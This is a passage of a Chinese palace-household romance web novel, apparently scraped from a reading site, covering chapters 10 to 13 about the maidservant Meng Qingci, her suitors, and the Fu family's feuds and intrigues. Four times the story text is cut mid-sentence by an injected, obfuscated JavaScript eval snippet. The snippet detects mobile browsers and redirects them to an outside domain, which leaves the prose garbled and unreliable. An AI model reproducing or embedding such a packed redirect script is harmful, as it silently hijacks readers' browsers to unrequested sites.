再抬眼,她眸光怯怯,嗓音也软:“我当然知道你待我好,我只是为锦屏伤感,我亦知,你已尽力为她谋划前程,又怎么会怪你。” 掌下是她纤细的手臂,她整个人都水做的一般,柔弱不堪,又像是水一样让人松不得紧不得,那股子想要强硬的心思,在她依赖的眸光中松懈下来:“那你是如何打算的,你如今也到了说亲的年纪。” “此事总要等我出府再议。”孟清辞继续糊弄他,无奈的叹息,语含暗示:“塞翁失马、焉知非福,大小姐在大长公主府上扭上了脚,日后便不能再跳《洛神飞天》这样难度高的舞蹈。” 她没了再留的价值,又有今日的事情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083228|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她不想等到傅静妤出嫁再离开,打算找个契机和傅静妤辞别。听话听音,想来傅晏桉会帮她去旁敲侧击傅静妤痛快同意的。 傅晏桉看着晴儿在月色下如妖精惑人心神的玉颜,实在难以克制近亲之思,他低头想靠近他魂牵梦萦的女孩儿。 傅珩:“大晚上,你们在干什么?” 孟清辞正愁无法脱身,听见这威严冷肃的声音划破廊下的暗色,大大的在心里松了口气。 傅晏桉倒是不慌,从容的放开孟清辞,略有些遗憾今日这样的好机会,拱手作揖行礼:“三叔。” “三爷安,大小姐让奴婢给大少爷送点东西,这便回去了。”孟清辞简介的交代清楚,和二人告退。 傅晏桉看着晴儿离去的背影,被身后的手攥了攥,垂眸不知在想什么。 傅珩看他魂不守舍的样子,蹙眉:“你如今在陛下跟前得脸,却不能得意忘形,那日和你说的话都当耳旁风了,是要学那些纨绔子弟的癫狂,倒行逆施?” 傅晏桉回神:“侄儿从没这么想过,但也不瞒三叔,我和晴儿是自小的情分,总要庇护她一生。” 傅珩眸中异色一闪而过:“夜深了,你吃了酒就不要在外面吹风,快回去吧。” 傅晏桉与傅珩辞别,傅珩转身快步进了无衡山房后的竹林。 孟清辞几乎要小跑回碧琼苑,突然听身后传来冷嗤:“怎么,帮你解围,你连一句道谢也吝啬,当爷是什么人?” 孟清辞猛然被傅珩抓着胳臂转了个身,撞上了傅珩的宽阔的胸膛。她疼的嘶一生,抬手去揉。 傅珩俯身去看:“疼吗?” “奴婢并没有遇见难处,想是三爷想岔了。”孟清辞并不想承认,想到那日,她不仅口脂花了,下唇还破了一点皮,叫她惴惴不安。 不过想他刚才冷肃的样子,却是极厌恶男女情爱、痴缠不清,又觉是自己疑心慎重,想多了。 傅珩嗤笑一声,他从外面回来正好撞见这对儿‘野鸳鸯’。 她倒是个能的,将他那精明的侄子耍的团团转,女子诡且妖,他应是厌烦,可不知怎的,他在旁听着她耍着傅晏桉,竟然品出几分趣儿来。 不过他不是傅晏桉那等愣头青,能叫她牵着鼻子走:“忒狡猾,连爷也敢骗,给我侄子绣腰带的手艺倒是精湛,到了爷这里,难道还配不得你的好手艺?” 孟清辞知道不能总是糊弄他,识时务的诚恳回他:“当然配的,先前是女婢相差了,怕手艺拙劣让三爷在外堕了脸面,三爷既看的上眼,是奴婢的福气,奴婢三日后做好便给您送过去。” 傅珩:“额头还疼吗?” 孟清辞思忖:幸好自己当初有先见之明,多做了一条腰带。她就要出府,哪里有时间搞这个,且应付着把傅珩的人情还了,很划算。 一时没反应过来,抬头看他,疑惑问:“什么?” 傅珩正细长的眼睛正看着她,黑眸里盛了月色,亮的让人惊心,她心下一紧。 “还疼吗?”傅珩又问,抬手轻柔的附上她的额头,轻轻的揉了两下,然后俯身,像是哄孩子一样,对着她的额头吹了吹。 孟清辞:....... 傅珩:“别忘记答应我的,好孩子,早点回去罢。” 孟清辞看他离开的背影,心凉了大半:好孩子?她一定没有过度解读,真当她是孩子的吧? 11. 第 11 章 翌日晌午,孟清辞依约而至,踏入了匾额高悬的甘露台茶楼。 伶俐的小二儿满面堆笑,利落地打了个千儿,孟清辞提了宋泊简的名字,小儿热情的侧身引道:“姑娘这边请。” 孟清辞进了二楼的雅间,见宋泊简早已等候,正在窗前的茶几前饮茶,她笑着上前:“泊简,你清减了,你和你弟弟可都还好?他今年该来京赴考了罢?他若是此次中了,也不枉你辛苦多年了。” 宋泊简眉目清秀,天生一副温润亲和的好皮相,正是经商的好料子。他含笑请孟清辞落座,为她斟了杯茶,嗓音清淡平和:“他——甚好。我此行正好来看看你。你打算什么时候离开侯府?可有什么我能帮你的?” 孟清辞:“自然是越快越好,我已经是良籍,大小姐念着多年情分,还单独给我立了女户,我打算近几日便出侯府。你来得正巧,不知此行是直接归家,还是另往他处进货?若顺路,正好捎我一程。” 宋泊简眸中掠过一丝讶异:“你……不想留在京城?” 孟清辞含糊其辞:“被关在侯府的四方天里,人也木了,我想出去看看外面的山河风物,你正好和我说说你一路的见闻,咱们也很久没见了。” 宋泊简垂眸避开她的视线,沉默片刻,低低的问:“你从前的话,可还算数么?” 孟清辞被问住了,没一点印象,放下茶杯疑惑蹙眉:“什么话儿?” 宋泊简和宋闻璟是双生子,可怜兄弟俩父母去的早,家产被叔伯侵吞殆尽,兄弟二人被扫地出门。 兄弟俩也硬气,愣是断亲除族,宋泊简带着弟弟宋闻璟从乡下一路进城,咬牙把自己送进绸缎庄做学徒伙计,一力供养天资聪颖的弟弟宋闻璟读书。 宋泊简在的绸缎庄总要给祖宅的安义侯府送新鲜花样的锦缎,宋泊简彼时才十一二岁,年纪不大,生得干净,眉清目秀,侯府夫人、小姐都喜欢他妥当又会来事儿,绸缎庄便喜欢叫他常这趟差事。 一来二去,孟清辞便和宋泊简熟了,一次宋泊简没来,孟清辞随口问了才知道,宋泊简高热却没钱买药,她便让门上的小厮买了药给送去。 待宋泊简病愈,看上去人都要瘦的脱相,瘦的皮包骨一副,他亲自到侯府的后门来给孟清辞道谢。 孟清辞才知道宋泊简的工钱尽数填给了弟弟读书,绸缎庄的掌柜的不肯赊账,他生病了只能咬牙熬着,若非她那点善心,他只怕人就烧傻了,或是直接没了。 后来,孟清辞见宋泊简年纪轻轻便展露经商的天赋,便做了宋泊简的伯乐加天使投资人。她投资加技术入股,让宋泊简自己行商,有她这个傅氏大小姐的大丫鬟帮衬,助他渐渐立稳了脚跟。 宋泊简以拳抵唇,掩饰的咳了咳,耳尖微微发红,仍旧不敢看面前出落得越发明艳的姑娘,他的声音很轻:“当初......当初你说过的条件,其中之一便是娶你。” 孟清辞恍然大悟,她当初考虑自己若是有朝一日自赎出府,独身女子难有立锥之地,毕竟这里的治安不能随时报警。她这些年在侯府赞的家私不少,孤身一人很难护住。 又考虑男女成婚,律法只保护男人,对女人没有保障,想和离都难,成婚后还要伺候男子的一家子,比给傅静妤做婢女还惨。 刚好见宋泊简人还算厚道,又无父无母,无亲族,便打起了他的主意,想让他做自己出府后的备选。 这里男女成婚一般皆在十五六岁,宋泊简家中人丁单薄的,更是讲究成家立业,他不仅痛快的答应等她两年,还一口答应了她二人假成婚这样莫名其妙的要求。 孟清辞纤细如嫩葱的指腹摩挲茶杯边缘,不过此一时彼一时,她沉吟的叹口气,一时不知如何开口。 宋泊简追问:“怎么?你反悔了?” 孟清辞犹豫:“也不是这个意思,只是......” 宋泊简忽然诡异的打断了孟清辞的话:“其实——你还能有更好的选择。” 孟清辞蹙眉,不懂他的意思,反问:“是你有喜欢的人了?所以你如今不方便履约?” ‘宋泊简’忽然抬头看孟清辞,那双一向有些过于温软没有攻击性的双眸中,亢奋之色满的要溢出来,此刻闪着黑曜石一样的光泽,他搁在几上的手紧握成拳:“你其实并不了解我,也没有多喜欢我。” 孟清辞歪头,心想假成婚看着顺眼就成了,但为了不伤人脸面,尴尬的遮掩:“这话怎么说的。” ‘宋泊简’见她流露几分怯色,唇角倏然弯起,露出尖尖虎牙,模样讨喜至极,他伸手攥住孟清辞的手腕,几愈抑制不住激动的,指尖不自觉的发抖:“因为你根本就分不清楚,我和哥哥,从前是,如今也是,你为什么选我哥不选我?我可以给你更好的,嫁给我,你日后就是官夫人,我努努力,日后给你挣得个诰命也未必不能,你何必屈就自己嫁作商人妇。” “你......你是宋闻璟?”孟清辞震愕万分,下意识想要挣脱他,他却执拗的不肯松开。 宋闻璟靠近她,目光如炬,笑意更深:“是啊,我哥不在的时候,你总是将我认成他。你都认不出他,还要嫁给他,你们之间到底有什么秘密?” 孟清辞芯子一直是个成年人的灵魂,初识时兄弟俩尚是窘迫少年,她并不将他们看做是男性,只当是可栽培的后辈。 现在她才好好打量眼前已经十八岁的宋闻璟,这两年间他身体又抽条、长高了不少,完全是个褪去青涩的成年男子。 他秀才考了案首,又面容清秀,想必招来不少闺中少女的青睐。 孟清辞佯装恼怒的拍打他攥着自己的手掌,斥责他:“枉你还是读圣贤书的天子门生,懂不懂男女大防?如今倒是撬起你哥的墙角来,假做你哥哥给我送信,诓我出来,你知不知羞?你哥哥养你供你何等不易,你如何对得起他?” 宋闻璟被斥得面红耳赤,羞愧的松开她,可他也早就不是愣小子,忍着羞耻心,抬头凝视着她:“旁的我都可以让给他,欠他的我下辈子还。他能做的,我亦能,你就......不能考虑、考虑我?” 孟清辞投资他是为了日后有个靠山,可不是为了嫁给他,她似是无奈的叹口气,苦口婆心的分析:“我知你才学,前三甲必有你的位置,你将来是要做官的,你的夫人必要为你应酬操持,纵非名门闺秀,也要是清白人家的女儿,却万万不能是奴婢出身,你要是娶了个奴婢出身的夫人,岂不是要叫同僚取笑,自毁前程,娶我这样的话,以后休要再提。” 宋闻璟顷刻失了那份沉稳,倔强的看着朝思暮想了两年的清丽容颜:“我不怕,若是娶你只能外放边陲,只要有你,我也是心甘情愿。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083229|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我与你哥,不过是一场交易,我助他起家,他给我一个身份,一切都是假的。此话你莫要再提,今日之事全当没有过,也不要和你哥提起,他供养你不容易,不要伤了他的心。”孟清辞见如此,索性挑明了说,说完便要离开。 宋闻璟听她言语无情,红了眼,却仍旧不甘心:“只要你愿意,我也可以是假的,你亦可以利用我。” 孟清辞止住开门的动作,并未回头,嗓音冷静得近乎残忍:“你的价值,是成为庇护我的靠山。你若能娶得高门贵女,平步青云,对我才最有利。嫁给你是下下策,我不并不喜欢打理后宅,游走权贵攀附交际。你哥虽为商贾,反无诸多拘束,履约与否,是我和你哥之间的事情。你来京城是备考的,自当心无旁骛,望你今年金榜题名,衣锦还乡。” 语毕,她毫不留恋,推门而去。 刚一转身,不想遇见傅珩从隔壁雅间出来,孟清辞惊讶的目光在两个雅间的来回梭巡,隔壁那样安静,她还以为没人。 傅珩细长的眼眸清冷疏淡,居高临下地投来一瞥,那目光高不可攀,带着沉甸甸的威压,直教人呼吸微窒。 “给三爷请安,奴婢便先回府了。”孟清辞反应很快,她行了一礼,不想与他多有纠缠,转身匆匆下楼。 傅珩并没有阻止,站在二楼的栏杆处凭栏看着她被鬼追一样的出了茶楼。 孟清辞心里慌张的很,不明白,今日傅珩出现在隔壁雅间,是巧合,还是.......,她更愿意相信这都是偶然。 又想,叫傅珩撞见也好,不论如何,这里的男人都将女子修养与贞德看极重,傅珩已经不止看见自己和不同的男人暧昧、牵扯不清,其中两个还是他的亲侄子,以傅珩的脾性只有更厌烦她。 无衡山房的书房里静的落针可闻,只偶有傅珩批阅公文的落笔声。 墨简秉着呼吸大气不敢出,想今日就不该和墨玉那个滑头换班。 主子从晴儿姑娘进了隔壁的雅间儿,和那个‘野’小子每说一句话,主子的脸色都更冷上一分,却还偏偏,唇角的冷笑没落下过。 今日因着晴儿姑娘,主子的脾气越发古怪,身上鸡皮疙瘩起了一层又一层,当时是真怕事后被主子灭口。 傅珩:“你说她如此离经叛道,全无羞耻,到底是谁教她的?” 突来的声音让墨简一个机灵:........他不敢接。 傅珩:“听说,她当年是被人牙子卖进府里的?” 墨简求生欲很强的立刻回话:“回主子,据老宅的人说,当年晴儿姑娘卖进来的时候自己叫什么,家在哪里全忘了。” 傅珩冷哼:“全忘了?不见得吧?” 墨简:......这句他更不敢接,求放过。 又是好一阵的静默,傅珩又问:“你说她这样的姑娘,如何能心甘情愿的跟着一个男人?” 墨简:为何偏要喜欢晴儿这样的姑娘? “呵,你又懂什么。”傅珩嗤笑,又翻开一本公文,心情似又松快起来:“你那日说,傅鸿轩那边,一直没死心,还在找机会?” 这个墨简会答:“前几日在外面寻了不少药,这几日没少变着花儿折腾,都被咱们的人拦下了。” 傅珩:“把人都撤回来。” 墨简:....... 12. 第 12 章 安义侯府的慈晖阁内,三房子孙齐聚一堂,倒也显出几分其乐融融的光景。 老夫人王氏眉开眼笑,笑容久久不散,难得对大房也和颜悦色了几分。 江氏惯会服侍,此刻正乖巧地为王氏布菜。王氏的目光在哪个碟子上多停一瞬,她便及时添上一箸。 王氏满意的捏着帕子按了按唇角,轻拍江氏的手背,语带得意:“你是个有福气的。陛下念旧,还记得我娘家的情分,如今看出老二的好,中用起来,他这些年也算熬出头了。这趟差事回来,老二的官职定要升一升,你只等着享福便是。” 江氏笑盈盈应和:“母亲说的是。这个月我日日在小佛堂抄经祈福,今儿一早便听见窗外喜鹊叫,原是在给我报喜呢。” 老夫人王氏又蹙眉忧心:“只是走的太急,我都没来得及给他多收拾几件衣裳,边关苦寒,不知道老二这身子骨可还遭得住。” 江氏连忙宽慰:“母亲且宽心,媳妇早命人备齐了厚衣裳,连夜便送过去,定是赶得及的。” 王氏闻言,心头稍安,满意地颔首:“你如今是越发妥帖了,可见咱们侯府养人。日后将这府里上下交给你打理,我也放心。” “咱们终究是陛下的自家人,总比外人可靠些。陛下圣明,自然明白这个道理。以父亲的本事,定能全须全尾地回来。祖母还是多疼疼孙儿才是。”世子傅鸿轩笑吟吟附和,衣服玩世不恭的模样,一边殷勤地为王氏布菜,一边悄然递了个眼色。 老夫人王氏立时知道他打的主意,佯作不满的睇他一眼,转而开口问傅静妤:“妤姐儿,你房里的晴儿素来规矩妥帖,你既不叫她陪嫁,不如送来主母跟前,也算是你的一片孝心。” 傅静妤一听,脸色立时有些绷不住,她想不到老刁婆是脸也不要了,她这哪是叫晴儿去伺候她,当她没看见祖孙俩的眉眼官司,做起这等勾当,当真不要脸。 傅晏桉也蹙眉,但他身为男子不便插话内宅之事,此刻庆幸晴儿已经是良籍,不用受老太太拿捏。 林氏的脸色也白了,老太太打着孝顺的名义当众逼闺女,可晴儿已经是良籍,闺女一开口一准儿捞不着好,她面露难色:“孝顺母亲自然是小辈们的本分,只是......” 老夫人王氏不待她说完,将筷子“啪”一声重重撂下,寒着脸扫视大房一家:“今儿是府里大喜的日子,瞧瞧你们大房都是什么脸色?不知道的,还当是我老婆子死了,你们在这儿哭丧!老大,你不是我肚子里爬出来的,也不是我养大的,我不指望你们一家子多孝顺,如今不过是要一个奴婢罢了,怎么?老婆子我连要你们大房的一个奴婢也不配么?” 大爷傅承怀扯开唇角,虽说上了年纪,眉眼间仍旧看的出,当年是不逊色于傅晏桉的美男子,仿佛全然未闻王氏的斥责,好脾气地笑呵呵:“母亲这是说的什么话,二弟在工部向来克尽职守,凭真本事挣得这趟差事,我这做兄长的,自然只有替他高兴的份儿。这份心,儿子与三弟是一样的。” 老夫人王氏并不买账,冷哼:“你少拿话搪塞我!你们向来是说的比唱的还好听。如今我不过想要个会伺候的奴婢到跟前,你们尚且推三阻四起来,我还能指望你们大房什么?” 一直沉默的傅珩此时慢条斯理地搁下银箸,目光缓缓扫过王氏身后站着的一众嬷嬷、丫鬟,看的王氏的安嬷嬷一个哆嗦,后背冷汗涔涔,下意识缩了缩肩膀。 傅珩偏还指了她出来,他的声音平静的不带一丝温度,却字字如冰锥:“是她年纪大了,腿脚不便,伺候不好母亲?还是她如今精神头儿不济,调/教不好下面的奴婢?竟让母亲身边的人不如妤姐儿的婢女得力,慈晖阁可不是养老的地方,没的纵容他们糊弄您。” 老夫人王氏听小儿子关心自己,心头一软,眼眶微热。她这个小儿子冷漠寡言,两人还隔着个老太太,小儿子在她跟前,还没从说过这么多的话。只听着听着,却越发却不对味儿起来。 傅珩细长的眼眸里淬着寒冰:“是母亲身边伺候的人耍猾出馊主意?撺掇母亲舍下脸面要小辈房里的人去伺候?儿子只听说过长辈疼惜小辈年轻不经事,赐下奴婢帮衬的,从未听闻长辈要争抢小辈房里的奴婢!怎么?是母亲身边的人都不得用了?” “来人,将这个败坏规矩,奴大欺主的老货拖下去,杖毕方止!叫阖府上下都看着,以儆效尤。”言罢,他眸色陡然转厉,威压慑人,冷冷瞥了一眼旁边鹌鹑般噤声的傅鸿轩,并不给王氏开口的机会:“母亲不必忧心,儿子自会挑选更伶俐懂事的给您送去。妤姐儿身边的人,自然比不过儿子亲自调/教的,保准母亲称心。” 安嬷嬷不想火烧到了她的身上,吓得魂飞魄散,“啊”的一声尖叫:“老夫人救命……” 不等她喊完,墨简叫来两个小厮上前,一把堵住了安嬷嬷的嘴,利落地将人拖了下去。 老夫人王氏被小儿子雷霆手段震慑得瞠目结舌,等她缓过神儿,已然听着安嬷嬷撕心裂肺的嚎叫声:“还不快叫他们停下,老三,你这是要干什么?” 傅珩难得和颜悦色的和她解释:“自儿子回府,便察觉府中颇多逾矩之事,桩桩件件皆与这老刁奴脱不开干系。想来她背地里蒙骗母亲,在府里作威作福惯了的,如今料理了她,也能还侯府一个干净。” 老夫人王氏默然,目光触及小儿子投向傅鸿轩那冷得能杀人似的眼神,她还有什么不明白的,安嬷嬷能干什么?无非是替她给大孙子“遮掩丑事”罢了。她岂会不知?可若此刻点破,她这张老脸还往哪儿搁? 老夫人王氏勉强争辩:“她可是我的陪嫁丫鬟,跟了我多年,没有功劳也有苦劳,你打杀了她,岂不是寒了底下人的心?” 傅珩不为所动:“傅氏百年基业,断没有叫奴才拿捏了主子的道理。母亲宽仁,也需有度,万不能因此败坏了祖宗家法。” 王氏心知肚明,论口舌之利,她哪里辩驳得过才学过人的老三,她急道:“你快叫他们停手,若嫌她不好,打发出府便是,何苦非要取她性命……” 话音未落,墨简已步入堂内,叉手肃然回禀:“禀主子,人已没气儿了。” 王氏只觉一股腥甜之气直冲脑门,眼前一黑,竟直挺挺地昏死过去! “母亲!母亲!您醒醒,莫吓儿媳啊!”江氏惊呼一声,慌忙扑过去扶住王氏瘫软的身子,声音都变了调:“快叫大夫,快叫大夫啊~!” 傅鸿轩也大惊失色,上前掐老太太人中:“祖母,祖母,你可要保重身体......” 好好一顿晚饭,顷刻间兵荒马乱起来,仆婢进进出出,只有老大一家和傅珩冷眼旁观不为所动。 夜已深沉,大老爷傅承怀的书房里却烛火通明,映得窗纸一片透亮。院中寂无人声,只留小厮在外小心守着。 傅承怀与傅珩两兄弟静坐于榻上,默然品茗,二人虽差着十数岁,却同是祖母一手教养长大。 少时,傅承怀还为傅珩开蒙授业。论起情分,两人倒有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083230|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几分亲兄弟的意思。 一杯茶见底,傅珩不和他兜圈子,开门见山:“陛下言辞中对老二已经诸多不满,他也值得你大费周章两年?” 老大傅承怀想要他母亲看着老二父子死无葬身之地,痛不欲生,他却不能不顾傅氏一族,只能趁着此次回来将老二父子解决。 老大傅承怀素来行事温和沉稳,只在这一件事上,行事上不管不顾的癫狂。 他才回来两年,侯府后院便乌烟瘴气,老二父子行事已经狂妄到肆无忌惮,人不人鬼不鬼。 老二傅继宗早被母亲养歪了,上蹿下跳,也只会在后宅弄些上不得台面的阴私手段,没什么脑子。 这两年,老二傅继宗不仅上了大皇子的船,一条路跑到黑。还被撺掇利用在工部的职务之便把兵器图卖给敌国,谋逆之罪再难翻身,此事若不是老大做局,老二怎么可能有这个脑子。 如此顺便帮着太子除掉大皇子,真是一箭双雕的好计谋。 傅承怀在他面前卸下伪装,眉目疏淡:“既然知道,如何还来劝我?” 傅珩莞儿,无所谓道:“我知你咽不下这口气,你若实在想要报复,不如一副药下去,他躺倒了,自然能叫她痛不欲生,岂不是痛快。” 傅承怀盯着傅珩轻嗤一声:“你到底是她生的,对她仍有恻隐之心。当年她仗着太后,仗着皇权,搞得我家破人亡,叫你背负罪孽出生,是你洗不掉的耻辱烙印,傅家沉寂,这些你都忘了?如今,我自然要叫她也尝尝慢慢被反噬又无能为力的滋味儿。” 傅珩摇头,不赞同他:“你如今想要的都已经到手,何必再多此一举,妤姐儿已经是板上钉钉的太子妃。你叫大老背负通敌叛国的罪名,伤敌一千自损八百,又是何苦。” “要怪就怪老二命不好,投胎到她的肚子里,我和她之间隔着我娘一条人命。”傅承怀眸中充斥着血丝,忽然诡异畅快的呵笑下:“不如此你又怎会出手?你叫他跟着押韵粮草,便是想叫他为国尽忠。给了陛下交代,便没有人通敌叛国,你说,她要是知道是你亲自动手除掉老二,会是什么反应?” 傅珩细长的眼眸,冷漠的捏傅承怀略有癫狂的模样,只觉得厌烦。 傅珩叹气:“此事既了,兄长不如将心思放回正途,以晏桉的年纪早该定下亲事,莫要因小失大,误了咱们的大事。” 傅承怀沉吟颔首:“你且放心,我自会叫你嫂嫂尽快安排。” 翌日,孟清辞寻了个由头,向傅静妤提及欲尽早离府。 傅静妤心知她是听闻府中变故,无意强留,只问道:“你当真想好了?我哥哥是难得的深情,念在你是我身边出去的人,日后也有体面,你真舍得?” 孟清辞沉默不语:这是试探她,想拿她笼络自己的亲哥哥? “也罢,那我便不再留你。”傅静妤只得叹一声,笑着打趣她:“怪我哥哥没福气,留不住你这可人儿。” 孟清辞姿态恭谨,垂目应道:“主子莫要说笑了,本是奴婢卑微,配不起大少爷。” 傅静妤摆摆手:“府里才出事,你缓两日再走,免得过于打眼。” 孟清辞暗自松了口气,再次俯身拜谢。 傅静妤又交代:“只还有一桩事,大长公主府的事儿,三叔帮我遮掩,昨日也算又帮了你一回,你便去库房拣选些上好的药材,作为谢礼,替我送过去。” 孟清辞领命退出去。 傅静妤看着晴儿离去的背影,眸色晦涩不明。 13. 第 13 章 安义侯府慈晖阁内,灯火彻夜未熄。 大太太林氏在老太太王氏床前守了一宿,她已年近四十,精神头儿有些不济,此刻已是疲态尽显,这会正歪在外室的软塌上,靠着软枕勉强阖眼小憩。 里间主卧,老太太王氏直挺挺仰躺在床,一双眼珠子要瞪出来,直勾勾的盯着帐顶,眼珠儿一转不转。 四下里静得骇人,弥漫着浓郁苦涩的药味儿,堵的人心腔滞闷,进进出出的丫鬟无不屏息凝神,垂首躬身,大气儿都不敢出,恐惊扰了这份儿死寂。 毕竟,昨日老太太身边最得意的安嬷嬷,被三爷说打杀就打杀了,震慑的慈晖阁满院仆婢,至今神魂尚未归位。 新来的管事嬷嬷脸似蜡融的一板一眼,训斥慈晖阁仆婢没有体统,立下规矩:回话声轻了是给侯府丢脸,重了是对主子不敬,面上更不得有半分谄笑。稍有违逆,立时拖出去发卖。 只一上午的功夫,慈晖阁便有三位大丫鬟被生生拖了出去。 二太太江氏立在榻前,手中攥着丝帕,小心翼翼地替老太太擦拭脸颊。她动作极轻,看着老太太的目光透着关切担忧。 老太太王氏像是叫人抽走了精气神儿,一夜之间枯槁委顿下来。 二太太江氏思量一番,凑近床前,殷殷劝慰:“母亲,三叔如今是巡抚闽广的封疆大吏,眼里自然揉不得沙子,说到底也都是为了母亲着想,您老人家万不可着相,为了个下人,伤了母子情分,岂非不值当?” 老太太的眼珠儿倏然转向二太太江氏,冷森森的看她一眼,猛地从床上挣坐起来,神色扭曲,透着偏执癫狂,嗓音沙哑的如同劈裂的枯竹,厉呵道:“他是在怨我,他怎么能怨我?都是老妖婆,把他教的和我离了心,当年若是没有我的手段,哪里来的他?哪里能有他从我肚子里爬出来?” 老太太突入起来的疯魔,吓得二太太江氏双手死死捂住心口,看老太太一副回光返照的架势,她魂都要飞了,连声气都颤了,嗫嚅着唤:“母......母亲。” 老太太呼出一口气,右眼角滑下一滴泪来,偏执癫狂的神色如潮水一般霎时退去,转而一脸奇异的平和,亲昵拉着江氏的手,嗓音轻柔飘忽,得意炫耀:“那个女人生的孽种算个什么东西?我得老三,模样生得才最像老侯爷,老三的性子和老侯爷也是如出一辙,老三才是老侯爷最有出息的儿子。我才是傅家八抬大轿、三媒六聘的当家主母,只有我的儿子才能继承傅家门楣,延续傅家的荣光,我对得起老侯爷,我对得起他.......” 二太太江氏压低了嗓音,小心翼翼的附和,一颗心吊在嗓子眼,生怕老太太年事已高,这般剧烈的情绪起伏,一个不好,人就咽了气儿。 大太太林氏早被老太太吼的一嗓子惊醒,正心有余悸,又听老太太一句比一句疯癫骇人,还涉及当年安义侯府不齿的秘辛,根本不敢上前去。 她被老太太惊世骇俗的言语吓得腿软,十指止不住的发颤,又是羞愤、又是恼怒,老太太竟毫无顾忌的当着满屋下人的面儿羞辱大房,瞧模样竟也会不是第一次。 慈晖阁的一众奴婢早已匍匐在地,抖若筛糠,恨不得自戳双耳,生怕新来的管事嬷嬷带着人冲进来将他们拖出去打杀了封口。 站在外间,傅珩遣来的管事嬷嬷面如寒霜,漠然侍立,待里面老太太消停了,向一旁垂首侍立的小丫头递去一个眼色。 那小丫头心领神会,抬脚,步履轻捷却迅疾地奔出慈晖阁,径直朝无衡山房的奔去。 此时,安义侯府二太太江氏的韶光院里。 江氏的主卧里,桃红艳丽的轻纱软帐,大红的鸳鸯锦被,醉人甜腻的熏香,处处皆是旖旎风光。 世子傅鸿轩对此早已司空见惯,习以为常,他搂着江氏大丫鬟秀玉的腰肢,肆意游走,低语调笑,语带轻佻:“几日没疼你,这身段倒愈发丰腴了?可见你没闲着,老爷子没少给你这朵娇花儿浇水、施肥。” 秀玉听他满口尽是些不堪入耳的浑话,没一句能听,扭动腰肢,含嗔带怨的推搡他:“你个没心肝的,既叫我跟了你,又叫我去伺候他,如今又来挤兑我,你父子都是爷,我是卑贱之人,你要是嫌了我,大可丢开,何苦来作践我。” 傅鸿轩见她眼波含媚,嗓音更是如丝如缕,钻得他心尖发痒,浑身酥麻麻的舒坦,放肆的把秀玉按在怀里磋/磨,语带含糊:“他老了,哪里伺候的好你,还得我,叫你舒坦一回罢。” 秀玉见傅鸿轩浑劲上来,势难阻挡,象征性地捶了他几下,终究是半推半就,两人便滚倒在江氏的床榻之上。拉扯间,只听“嗒”一声轻响,一只翠色绣鞋滚落在床榻下。 “好人儿,爷饶你一回,你也饶爷一回。”傅鸿轩气息微喘,在秀玉耳边低语:“只要你依了爷这回,定不叫你白白出力。” 秀玉听了暗暗心惊,傅鸿轩竟然叫她做这等伤天害理的事儿,她面上不敢流露出半点儿来,只佯作怒意:“爷可不要框我,说的倒是轻巧,若事发了,大奶奶少第一个饶不了我,她想发卖我还不是轻而易举,大奶奶屋里差事便宜,我何苦来哉,绕了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083231|179454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你快活,断了奴婢自己的前程,更甚如安嬷嬷一般乱棍打死。奴婢自认尽心伺候,爷也忒狠心了。” 傅鸿轩难得好脾气的哄她:“你怕她作甚,她还能跑得了爷的五指山,到时候将她支到老太太屋里,她也脱不开身,哪里知道院子里的事情。” 秀玉间傅鸿轩说的好听,眸中却隐含不耐之色,知若她再拒绝,免不得要吃什么苦头,只能垂眸顺从的点了点头。 她心下又黯然哀伤起来,若是能清白做人,谁又愿意糟践自己不顾廉耻,她若不从,便要同那些横着出府的一个下场,她自己尚且不能保住,更遑论护着别人。 碧琼苑的库房里,春熙接过孟清辞的条子,打发小丫头开库房,将血燕、灵芝、天山雪莲、肉苁蓉等上等药材一一拣选出来装好。 